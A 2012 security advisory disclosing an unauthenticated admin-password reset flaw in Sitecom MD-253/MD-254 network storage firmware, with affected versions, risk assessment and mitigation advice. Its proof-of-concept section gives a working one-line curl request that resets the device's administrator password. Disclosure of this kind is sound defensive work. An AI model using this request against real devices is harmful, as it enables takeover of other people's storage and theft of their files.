Sitecom Home Storage Center - Authentication Bypass

Security Advisory AA-006: Authorization Bypass Vulnerability in Password Reset Function Sitecom Home Storage Center (0-day)

Severity Rating: High
Discovery Date: July 29, 2012
Vendor Notification: July 30, 2012
Disclosure Date: September 6, 2012

Vulnerability Type=
Authorization Bypass

Impact=
System Access

Severity=
Alcyon rates the severity of this vulnerability as high due to the following properties:

- Ease of exploitation;
- No authentication credentials required;
- No knowledge about individual victims required;
- No interaction with the victim required.

Products and firmware versions affected=
- Sitecom MD-253 firmware version up to and including 2.4.17
- Sitecom MD-254 firmware version up to and including 2.4.17
- Possibly other rebranded Mapower network storage products

Risk Assessment=
An attacker can log into the web management UI with an arbitrarily chosen password. Possibilities include but are not limited to reading and writing files stored on the device and altering the device’s configuration.

This means an attacker could:

- Steal sensitive data stored on the device;
- Leverage the device to drop and/or host malware;
- Abuse the device to send spam through the victim’s Internet connection;
- Use the device as a pivot point to access locally connected systems or launch attacks directed to other systems.

Vulnerability=
The function that is responsible for changing the administrator password can be called by an unauthenticated used. It uses the flawed assumption that the call is part of an admin session if a static valued cookie is present.
Note that the cookie value is checked on the client so it can be easily circumvented by a command line tool.

Proof of Concept Exploit=

Paste the following URL into a web browser’s address bar to set the administrator’s password of a vulnerable Sitecom NAS:

  curl http://<victimIP>/cgi-bin/setup.cgi?ChgSystemStatus&hackedSitecom&workgroup&<password>

Risk Mitigation=
At the time of disclosure no updated firmware version was available.

We recommend that you limit access to the web management UI of the device by utilizing proper packet filtering and/or NAT on your router in order to limit network access to your NAS. Although this will not completely eliminate the risk of exploitation, it becomes substantially more difficult to leverage a successful attack, because it would involve either a compromise of another host on the victim’s local network or a client side attack that overcomes the Same Origin Policy restrictions of the victim’s web browser.

Vendor responses=
None

Fixed Versions=
There is currently no vendor patch available. A third party solution is available on:
- http://www.alcyon.nl/blog/sitecom-nas-md-253-and-md-254-risk-mitigation/

Latest version of this advisory=
- http://www.alcyon.nl/advisories/aa-006